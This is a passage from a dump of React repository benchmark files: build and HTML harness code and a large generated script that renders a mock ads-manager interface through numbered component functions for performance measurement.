=== 496) {\n      return React.createElement(\n        'div',\n        {id: 'ads_pe_container'},\n        React.createElement(FluxContainer_AdsPETopNavContainer_26, {x: 41}),\n        null,\n        React.createElement(FluxContainer_AdsPEWorkspaceContainer_162, {\n          x: 477,\n        }),\n        React.createElement(\n          FluxContainer_AdsSessionExpiredDialogContainer_163,\n          {x: 478}\n        ),\n        React.createElement(FluxContainer_AdsPEUploadDialogLazyContainer_164, {\n          x: 479,\n        }),\n        React.createElement(FluxContainer_DialogContainer_165, {x: 480}),\n        React.createElement(AdsBugReportContainer166, {x: 481}),\n        React.createElement(AdsPEAudienceSplittingDialogContainer168, {x: 483}),\n        React.createElement(FluxContainer_AdsRuleDialogBootloadContainer_169, {\n          x: 484,\n        }),\n        React.createElement(FluxContainer_AdsPECFTrayContainer_170, {x: 485}),\n        React.createElement(\n          'span',\n          null,\n          React.createElement(FluxContainer_AdsPEDeleteDraftContainer_171, {\n            x: 486,\n          }),\n          React.createElement(\n            FluxContainer_AdsPEInitialDraftPublishDialogContainer_172,\n            {x: 487}\n          ),\n          React.createElement(\n            FluxContainer_AdsPEReachFrequencyStatusTransitionDialogBootloadContainer_173,\n            {x: 488}\n          )\n        ),\n        React.createElement(\n          FluxContainer_AdsPEPurgeArchiveDialogContainer_174,\n          {x: 489}\n        ),\n        React.createElement(AdsPECreateDialogContainer175, {x: 490}),\n        React.createElement(FluxContainer_AdsPEModalStatusContainer_176, {\n          x: 491,\n        }),\n        React.createElement(\n          FluxContainer_AdsBrowserExtensionErrorDialogContainer_177,\n          {x: 492}\n        ),\n        React.createElement(FluxContainer_AdsPESortByErrorTipContainer_178, {\n          x: 493,\n        }),\n        React.createElement(\n          FluxContainer_AdsPELeadDownloadDialogContainerClass_180,\n          {x: 495}\n        ),\n        React.createElement('div', {id: 'web_ads_guidance_tips'})\n      );\n    }\n  };\n\n  var Benchmark = function (props) {\n    if (props.x === undefined) {\n      return React.createElement(AdsPEContainer181, {x: 496});\n    }\n  };\n\n  var app = document.getElementById('app');\n\n  window.render = function render() {\n    ReactDOM.render(React.createElement(Benchmark, null), app);\n  };\n})();\n"
  },
  {
    "path": "scripts/bench/benchmarks/pe-functional-components/build.js",
    "content": "'use strict';\n\nconst {join} = require('path');\n\nasync function build(reactPath, asyncCopyTo) {\n  // copy the UMD bundles\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react.production.js'),\n    join(__dirname, 'react.production.js')\n  );\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react-dom.production.js'),\n    join(__dirname, 'react-dom.production.js')\n  );\n}\n\nmodule.exports = build;\n"
  },
  {
    "path": "scripts/bench/benchmarks/pe-functional-components/index.html",
    "content": "<html>\n<body>\n    <div id=\"app\"></div>\n    <script>\n      performance.mark('Load React');\n      performance.mark('Load React+ReactDOM');\n    </script>\n    <script src=\"react.production.min.js\"></script>\n    <script>\n      performance.measure('Load React', 'Load React');\n    </script>\n    <script>\n      performance.mark('Load ReactDOM');\n    </script>\n    <script src=\"react-dom.production.min.js\"></script>\n    <script>\n      performance.measure('Load ReactDOM', 'Load ReactDOM');\n      performance.measure('Load React+ReactDOM', 'Load React+ReactDOM');\n    </script>\n    <script src=\"benchmark.js\"></script>\n    <script>\n      performance.mark('Initial Render');\n      render();\n      performance.measure('Initial Render', 'Initial Render');\n      requestAnimationFrame(() => {\n        performance.mark('Update Render');\n        render();\n        performance.measure('Update Render', 'Update Render');\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "scripts/bench/benchmarks/pe-no-components/benchmark.js",
    "content": "(function () {\n  'use strict';\n\n  var ReactImage0 = function (x) {\n    if (x === 0) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (x === 15) {\n      return React.createElement('i', {\n        className: '_3ut_ img sp_i534r85sjIn sx_e8ac93',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 22) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_7b15bc',\n        src: null,\n      });\n    }\n    if (x === 29) {\n      return React.createElement('i', {\n        className: '_1m1s _4540 _p img sp_i534r85sjIn sx_f40b1c',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 42) {\n      return React.createElement(\n        'i',\n        {\n          alt: 'Warning',\n          className: '_585p img sp_i534r85sjIn sx_20273d',\n          src: null,\n        },\n        React.createElement('u', null, 'Warning')\n      );\n    }\n    if (x === 67) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_b5d079',\n        src: null,\n      });\n    }\n    if (x === 70) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_29f8c9',\n      });\n    }\n    if (x === 76) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_ef6a9c',\n        src: null,\n      });\n    }\n    if (x === 79) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_6f8c43',\n      });\n    }\n    if (x === 88) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_e94a2d',\n      });\n    }\n    if (x === 91) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_7ed7d4',\n      });\n    }\n    if (x === 94) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_930440',\n      });\n    }\n    if (x === 98) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_750c83',\n      });\n    }\n    if (x === 108) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_73c1bb',\n      });\n    }\n    if (x === 111) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_29f28d',\n      });\n    }\n    if (x === 126) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_91c59e',\n      });\n    }\n    if (x === 127) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (x === 134) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_c8eb75',\n      });\n    }\n    if (x === 135) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (x === 148) {\n      return React.createElement('i', {\n        className: '_3yz6 _5whs img sp_i534r85sjIn sx_896996',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 152) {\n      return React.createElement('i', {\n        className: '_5b5p _4gem img sp_i534r85sjIn sx_896996',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 153) {\n      return React.createElement('i', {\n        className: '_541d img sp_i534r85sjIn sx_2f396a',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 160) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_31d9b0',\n      });\n    }\n    if (x === 177) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_2c18b7',\n        src: null,\n      });\n    }\n    if (x === 186) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_0a681f',\n      });\n    }\n    if (x === 195) {\n      return React.createElement('i', {\n        className: '_1-lx img sp_OkER5ktbEyg sx_b369b4',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 198) {\n      return React.createElement('i', {\n        className: '_1-lx img sp_i534r85sjIn sx_96948e',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 237) {\n      return React.createElement('i', {\n        className: '_541d img sp_i534r85sjIn sx_2f396a',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 266) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (x === 314) {\n      return React.createElement('i', {\n        className: '_1cie _1cif img sp_i534r85sjIn sx_6e6820',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 345) {\n      return React.createElement('i', {\n        className: '_1cie img sp_i534r85sjIn sx_e896cf',\n        src: null,\n        alt: '',\n      });\n    }\n    if (x === 351) {\n      return React.createElement('i', {\n        className: '_1cie img sp_i534r85sjIn sx_38fed8',\n        src: null,\n        alt: '',\n      });\n    }\n  };\n\n  var AbstractLink1 = function (x) {\n    if (x === 1) {\n      return React.createElement(\n        'a',\n        {\n          className: '_387r _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n          style: {width: 250, maxWidth: '250px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '236px'}},\n          null,\n          React.createElement(\n            'span',\n            null,\n            React.createElement('span', {className: '_48u-'}, 'Account:'),\n            ' ',\n            'Dick Madanson (10149999073643408)'\n          )\n        ),\n        ReactImage0(0)\n      );\n    }\n    if (x === 43) {\n      return React.createElement(\n        'a',\n        {\n          className: '_585q _50zy _50-0 _50z- _5upp _42ft',\n          size: 'medium',\n          type: null,\n          title: 'Remove',\n          'data-hover': undefined,\n          'data-tooltip-alignh': undefined,\n          'data-tooltip-content': undefined,\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        undefined,\n        'Remove',\n        undefined\n      );\n    }\n    if (x === 49) {\n      return React.createElement(\n        'a',\n        {\n          target: '_blank',\n          href: '/ads/manage/billing.php?act=10149999073643408',\n          rel: undefined,\n          onClick: function () {},\n        },\n        XUIText29(48)\n      );\n    }\n    if (x === 128) {\n      return React.createElement(\n        'a',\n        {\n          className: ' _5bbf _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n          style: {maxWidth: '200px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '186px'}},\n          ReactImage0(126),\n          'Search'\n        ),\n        ReactImage0(127)\n      );\n    }\n    if (x === 136) {\n      return React.createElement(\n        'a',\n        {\n          className: ' _5bbf _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n          style: {maxWidth: '200px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '186px'}},\n          ReactImage0(134),\n          'Filters'\n        ),\n        ReactImage0(135)\n      );\n    }\n    if (x === 178) {\n      return React.createElement(\n        'a',\n        {\n          className: '_1_-t _1_-v _42ft',\n          disabled: null,\n          height: 'medium',\n          role: 'button',\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        undefined,\n        'Lifetime',\n        ReactImage0(177)\n      );\n    }\n    if (x === 207) {\n      return React.createElement(\n        'a',\n        {href: '#', rel: undefined, onClick: function () {}},\n        'Create Ad Set'\n      );\n    }\n    if (x === 209) {\n      return React.createElement(\n        'a',\n        {href: '#', rel: undefined, onClick: function () {}},\n        'View Ad Set'\n      );\n    }\n    if (x === 241) {\n      return React.createElement(\n        'a',\n        {href: '#', rel: undefined, onClick: function () {}},\n        'Set a Limit'\n      );\n    }\n    if (x === 267) {\n      return React.createElement(\n        'a',\n        {\n          className: '_p _55pi _2agf _4jy0 _4jy3 _517h _51sy _42ft',\n          style: {maxWidth: '200px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '186px'}},\n          null,\n          'Links'\n        ),\n        ReactImage0(266)\n      );\n    }\n  };\n\n  var Link2 = function (x) {\n    if (x === 2) {\n      return AbstractLink1(1);\n    }\n    if (x === 44) {\n      return AbstractLink1(43);\n    }\n    if (x === 50) {\n      return AbstractLink1(49);\n    }\n    if (x === 129) {\n      return AbstractLink1(128);\n    }\n    if (x === 137) {\n      return AbstractLink1(136);\n    }\n    if (x === 179) {\n      return AbstractLink1(178);\n    }\n    if (x === 208) {\n      return AbstractLink1(107);\n    }\n    if (x === 210) {\n      return AbstractLink1(209);\n    }\n    if (x === 242) {\n      return AbstractLink1(241);\n    }\n    if (x === 268) {\n      return AbstractLink1(267);\n    }\n  };\n\n  var AbstractButton3 = function (x) {\n    if (x === 3) {\n      return Link2(2);\n    }\n    if (x === 20) {\n      return React.createElement(\n        'button',\n        {\n          className: '_5n7z _4jy0 _4jy4 _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        'Discard Changes',\n        undefined\n      );\n    }\n    if (x === 23) {\n      return React.createElement(\n        'button',\n        {\n          className: '_5n7z _2yak _4lj- _4jy0 _4jy4 _517h _51sy _42ft _42fr',\n          disabled: true,\n          onClick: function () {},\n          'data-tooltip-content': 'You have no changes to publish',\n          'data-hover': 'tooltip',\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(22),\n        'Review Changes',\n        undefined\n      );\n    }\n    if (x === 45) {\n      return Link2(44);\n    }\n    if (x === 68) {\n      return React.createElement(\n        'button',\n        {\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(67),\n        'Create Campaign',\n        undefined\n      );\n    }\n    if (x === 71) {\n      return React.createElement(\n        'button',\n        {\n          className: '_u_k _3qx6 _p _4jy0 _4jy4 _517h _51sy _42ft',\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(70),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 77) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Edit',\n          'data-tooltip-content': 'Edit Campaigns (Ctrl+U)',\n          'data-hover': 'tooltip',\n          className: '_d2_ _u_k noMargin _4jy0 _4jy4 _517h _51sy _42ft',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(76),\n        'Edit',\n        undefined\n      );\n    }\n    if (x === 80) {\n      return React.createElement(\n        'button',\n        {\n          className: '_u_k _3qx6 _p _4jy0 _4jy4 _517h _51sy _42ft',\n          disabled: false,\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(79),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 89) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Revert',\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft _42fr',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Revert',\n          disabled: true,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(88),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 92) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Delete',\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Delete',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(91),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 95) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Duplicate',\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Duplicate',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(94),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 99) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Export & Import',\n          className: '_u_k noMargin _p _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Export & Import',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(98),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 109) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Create Report',\n          className: '_u_k _5n7z _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Create Report',\n          disabled: false,\n          style: {boxSizing: 'border-box', height: '28px', width: '48px'},\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(108),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 112) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Campaign Tags',\n          className: ' _5uy7 _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Campaign Tags',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(111),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 130) {\n      return Link2(129);\n    }\n    if (x === 138) {\n      return Link2(137);\n    }\n    if (x === 149) {\n      return React.createElement(\n        'button',\n        {\n          className: '_3yz9 _1t-2 _50z- _50zy _50zz _50z- _5upp _42ft',\n          size: 'small',\n          onClick: function () {},\n          type: 'button',\n          title: 'Remove',\n          'data-hover': undefined,\n          'data-tooltip-alignh': undefined,\n          'data-tooltip-content': undefined,\n          label: null,\n        },\n        undefined,\n        'Remove',\n        undefined\n      );\n    }\n    if (x === 156) {\n      return React.createElement(\n        'button',\n        {\n          className: '_5b5u _5b5v _4jy0 _4jy3 _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        'Apply',\n        undefined\n      );\n    }\n    if (x === 161) {\n      return React.createElement(\n        'button',\n        {\n          className: '_1wdf _4jy0 _517i _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(160),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 180) {\n      return Link2(179);\n    }\n    if (x === 187) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'List Settings',\n          className: '_u_k _3c5o _1-r0 _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'List Settings',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        ReactImage0(186),\n        undefined,\n        undefined\n      );\n    }\n    if (x === 269) {\n      return Link2(268);\n    }\n    if (x === 303) {\n      return React.createElement(\n        'button',\n        {\n          className: '_tm3 _tm6 _tm7 _4jy0 _4jy6 _517h _51sy _42ft',\n          'data-tooltip-position': 'right',\n          'data-tooltip-content': 'Campaigns',\n          'data-hover': 'tooltip',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        React.createElement(\n          'div',\n          null,\n          React.createElement('div', {className: '_tma'}),\n          React.createElement('div', {className: '_tm8'}),\n          React.createElement('div', {className: '_tm9'}, 1)\n        ),\n        undefined\n      );\n    }\n    if (x === 305) {\n      return React.createElement(\n        'button',\n        {\n          className: '_tm4 _tm6 _4jy0 _4jy6 _517h _51sy _42ft',\n          'data-tooltip-position': 'right',\n          'data-tooltip-content': 'Ad Sets',\n          'data-hover': 'tooltip',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        React.createElement(\n          'div',\n          null,\n          React.createElement('div', {className: '_tma'}),\n          React.createElement('div', {className: '_tm8'}),\n          React.createElement('div', {className: '_tm9'}, 1)\n        ),\n        undefined\n      );\n    }\n    if (x === 307) {\n      return React.createElement(\n        'button',\n        {\n          className: '_tm5 _tm6 _4jy0 _4jy6 _517h _51sy _42ft',\n          'data-tooltip-position': 'right',\n          'data-tooltip-content': 'Ads',\n          'data-hover': 'tooltip',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        React.createElement(\n          'div',\n          null,\n          React.createElement('div', {className: '_tma'}),\n          React.createElement('div', {className: '_tm8'}),\n          React.createElement('div', {className: '_tm9'}, 1)\n        ),\n        undefined\n      );\n    }\n  };\n\n  var XUIButton4 = function (x) {\n    if (x === 4) {\n      return AbstractButton3(3);\n    }\n    if (x === 21) {\n      return AbstractButton3(20);\n    }\n    if (x === 24) {\n      return AbstractButton3(23);\n    }\n    if (x === 69) {\n      return AbstractButton3(68);\n    }\n    if (x === 72) {\n      return AbstractButton3(71);\n    }\n    if (x === 78) {\n      return AbstractButton3(77);\n    }\n    if (x === 81) {\n      return AbstractButton3(80);\n    }\n    if (x === 90) {\n      return AbstractButton3(89);\n    }\n    if (x === 93) {\n      return AbstractButton3(92);\n    }\n    if (x === 96) {\n      return AbstractButton3(95);\n    }\n    if (x === 100) {\n      return AbstractButton3(99);\n    }\n    if (x === 110) {\n      return AbstractButton3(109);\n    }\n    if (x === 113) {\n      return AbstractButton3(112);\n    }\n    if (x === 131) {\n      return AbstractButton3(130);\n    }\n    if (x === 139) {\n      return AbstractButton3(138);\n    }\n    if (x === 157) {\n      return AbstractButton3(156);\n    }\n    if (x === 162) {\n      return AbstractButton3(161);\n    }\n    if (x === 188) {\n      return AbstractButton3(187);\n    }\n    if (x === 270) {\n      return AbstractButton3(269);\n    }\n    if (x === 304) {\n      return AbstractButton3(303);\n    }\n    if (x === 306) {\n      return AbstractButton3(305);\n    }\n    if (x === 308) {\n      return AbstractButton3(307);\n    }\n  };\n\n  var AbstractPopoverButton5 = function (x) {\n    if (x === 5) {\n      return XUIButton4(4);\n    }\n    if (x === 132) {\n      return XUIButton4(131);\n    }\n    if (x === 140) {\n      return XUIButton4(139);\n    }\n    if (x === 271) {\n      return XUIButton4(270);\n    }\n  };\n\n  var ReactXUIPopoverButton6 = function (x) {\n    if (x === 6) {\n      return AbstractPopoverButton5(5);\n    }\n    if (x === 133) {\n      return AbstractPopoverButton5(132);\n    }\n    if (x === 141) {\n      return AbstractPopoverButton5(140);\n    }\n    if (x === 272) {\n      return AbstractPopoverButton5(271);\n    }\n  };\n\n  var BIGAdAccountSelector7 = function (x) {\n    if (x === 7) {\n      return React.createElement('div', null, ReactXUIPopoverButton6(6), null);\n    }\n  };\n\n  var FluxContainer_AdsPEBIGAdAccountSelectorContainer_8 = function (x) {\n    if (x === 8) {\n      return BIGAdAccountSelector7(7);\n    }\n  };\n\n  var ErrorBoundary9 = function (x) {\n    if (x === 9) {\n      return FluxContainer_AdsPEBIGAdAccountSelectorContainer_8(8);\n    }\n    if (x === 13) {\n      return FluxContainer_AdsPENavigationBarContainer_12(12);\n    }\n    if (x === 27) {\n      return FluxContainer_AdsPEPublishButtonContainer_18(26);\n    }\n    if (x === 32) {\n      return ReactPopoverMenu20(31);\n    }\n    if (x === 38) {\n      return AdsPEResetDialog24(37);\n    }\n    if (x === 57) {\n      return FluxContainer_AdsPETopErrorContainer_35(56);\n    }\n    if (x === 60) {\n      return FluxContainer_AdsGuidanceChannel_36(59);\n    }\n    if (x === 64) {\n      return FluxContainer_AdsBulkEditDialogContainer_38(63);\n    }\n    if (x === 124) {\n      return AdsPECampaignGroupToolbarContainer57(123);\n    }\n    if (x === 170) {\n      return AdsPEFilterContainer72(169);\n    }\n    if (x === 175) {\n      return AdsPETablePagerContainer75(174);\n    }\n    if (x === 193) {\n      return AdsPEStatRangeContainer81(192);\n    }\n    if (x === 301) {\n      return FluxContainer_AdsPEMultiTabDrawerContainer_137(300);\n    }\n    if (x === 311) {\n      return AdsPEOrganizerContainer139(310);\n    }\n    if (x === 471) {\n      return AdsPECampaignGroupTableContainer159(470);\n    }\n    if (x === 475) {\n      return AdsPEContentContainer161(474);\n    }\n  };\n\n  var AdsErrorBoundary10 = function (x) {\n    if (x === 10) {\n      return ErrorBoundary9(9);\n    }\n    if (x === 14) {\n      return ErrorBoundary9(13);\n    }\n    if (x === 28) {\n      return ErrorBoundary9(27);\n    }\n    if (x === 33) {\n      return ErrorBoundary9(32);\n    }\n    if (x === 39) {\n      return ErrorBoundary9(38);\n    }\n    if (x === 58) {\n      return ErrorBoundary9(57);\n    }\n    if (x === 61) {\n      return ErrorBoundary9(60);\n    }\n    if (x === 65) {\n      return ErrorBoundary9(64);\n    }\n    if (x === 125) {\n      return ErrorBoundary9(124);\n    }\n    if (x === 171) {\n      return ErrorBoundary9(170);\n    }\n    if (x === 176) {\n      return ErrorBoundary9(175);\n    }\n    if (x === 194) {\n      return ErrorBoundary9(193);\n    }\n    if (x === 302) {\n      return ErrorBoundary9(301);\n    }\n    if (x === 312) {\n      return ErrorBoundary9(311);\n    }\n    if (x === 472) {\n      return ErrorBoundary9(471);\n    }\n    if (x === 476) {\n      return ErrorBoundary9(475);\n    }\n  };\n\n  var AdsPENavigationBar11 = function (x) {\n    if (x === 11) {\n      return React.createElement('div', {className: '_4t_9'});\n    }\n  };\n\n  var FluxContainer_AdsPENavigationBarContainer_12 = function (x) {\n    if (x === 12) {\n      return AdsPENavigationBar11(11);\n    }\n  };\n\n  var AdsPEDraftSyncStatus13 = function (x) {\n    if (x === 16) {\n      return React.createElement(\n        'div',\n        {className: '_3ut-', onClick: function () {}},\n        React.createElement('span', {className: '_3uu0'}, ReactImage0(15))\n      );\n    }\n  };\n\n  var FluxContainer_AdsPEDraftSyncStatusContainer_14 = function (x) {\n    if (x === 17) {\n      return AdsPEDraftSyncStatus13(16);\n    }\n  };\n\n  var AdsPEDraftErrorsStatus15 = function (x) {\n    if (x === 18) {\n      return null;\n    }\n  };\n\n  var FluxContainer_viewFn_16 = function (x) {\n    if (x === 19) {\n      return AdsPEDraftErrorsStatus15(18);\n    }\n  };\n\n  var AdsPEPublishButton17 = function (x) {\n    if (x === 25) {\n      return React.createElement(\n        'div',\n        {className: '_5533'},\n        FluxContainer_AdsPEDraftSyncStatusContainer_14(17),\n        FluxContainer_viewFn_16(19),\n        null,\n        XUIButton4(21, 'discard'),\n        XUIButton4(24)\n      );\n    }\n  };\n\n  var FluxContainer_AdsPEPublishButtonContainer_18 = function (x) {\n    if (x === 26) {\n      return AdsPEPublishButton17(25);\n    }\n  };\n\n  var InlineBlock19 = function (x) {\n    if (x === 30) {\n      return React.createElement(\n        'div',\n        {className: 'uiPopover _6a _6b', disabled: null},\n        ReactImage0(29)\n      );\n    }\n    if (x === 73) {\n      return React.createElement(\n        'div',\n        {className: 'uiPopover _6a _6b', disabled: null},\n        XUIButton4(72)\n      );\n    }\n    if (x === 82) {\n      return React.createElement(\n        'div',\n        {className: '_1nwm uiPopover _6a _6b', disabled: null},\n        XUIButton4(81)\n      );\n    }\n    if (x === 101) {\n      return React.createElement(\n        'div',\n        {size: 'large', className: 'uiPopover _6a _6b', disabled: null},\n        XUIButton4(100)\n      );\n    }\n    if (x === 273) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3-90 uiPopover _6a _6b',\n          style: {marginTop: 2},\n          disabled: null,\n        },\n        ReactXUIPopoverButton6(272)\n      );\n    }\n  };\n\n  var ReactPopoverMenu20 = function (x) {\n    if (x === 31) {\n      return InlineBlock19(30);\n    }\n    if (x === 74) {\n      return InlineBlock19(73);\n    }\n    if (x === 83) {\n      return InlineBlock19(82);\n    }\n    if (x === 102) {\n      return InlineBlock19(101);\n    }\n    if (x === 274) {\n      return InlineBlock19(273);\n    }\n  };\n\n  var LeftRight21 = function (x) {\n    if (x === 34) {\n      return React.createElement(\n        'div',\n        {className: 'clearfix'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          React.createElement(\n            'div',\n            {className: '_34_j'},\n            React.createElement(\n              'div',\n              {className: '_34_k'},\n              AdsErrorBoundary10(10)\n            ),\n            React.createElement(\n              'div',\n              {className: '_2u-6'},\n              AdsErrorBoundary10(14)\n            )\n          )\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: '_ohf rfloat'},\n          React.createElement(\n            'div',\n            {className: '_34_m'},\n            React.createElement(\n              'div',\n              {key: '0', className: '_5ju2'},\n              AdsErrorBoundary10(28)\n            ),\n            React.createElement(\n              'div',\n              {key: '1', className: '_5ju2'},\n              AdsErrorBoundary10(33)\n            )\n          )\n        )\n      );\n    }\n    if (x === 232) {\n      return React.createElement(\n        'div',\n        {direction: 'left', className: 'clearfix'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          AdsLabeledField104(231)\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: ''},\n          React.createElement(\n            'div',\n            {className: '_42ef'},\n            React.createElement(\n              'div',\n              {className: '_2oc7'},\n              'Clicks to Website'\n            )\n          )\n        )\n      );\n    }\n    if (x === 235) {\n      return React.createElement(\n        'div',\n        {className: '_3-8x clearfix', direction: 'left'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          AdsLabeledField104(234)\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: ''},\n          React.createElement(\n            'div',\n            {className: '_42ef'},\n            React.createElement('div', {className: '_2oc7'}, 'Auction')\n          )\n        )\n      );\n    }\n    if (x === 245) {\n      return React.createElement(\n        'div',\n        {className: '_3-8y clearfix', direction: 'left'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          AdsLabeledField104(240)\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: ''},\n          React.createElement(\n            'div',\n            {className: '_42ef'},\n            FluxContainer_AdsCampaignGroupSpendCapContainer_107(244)\n          )\n        )\n      );\n    }\n    if (x === 277) {\n      return 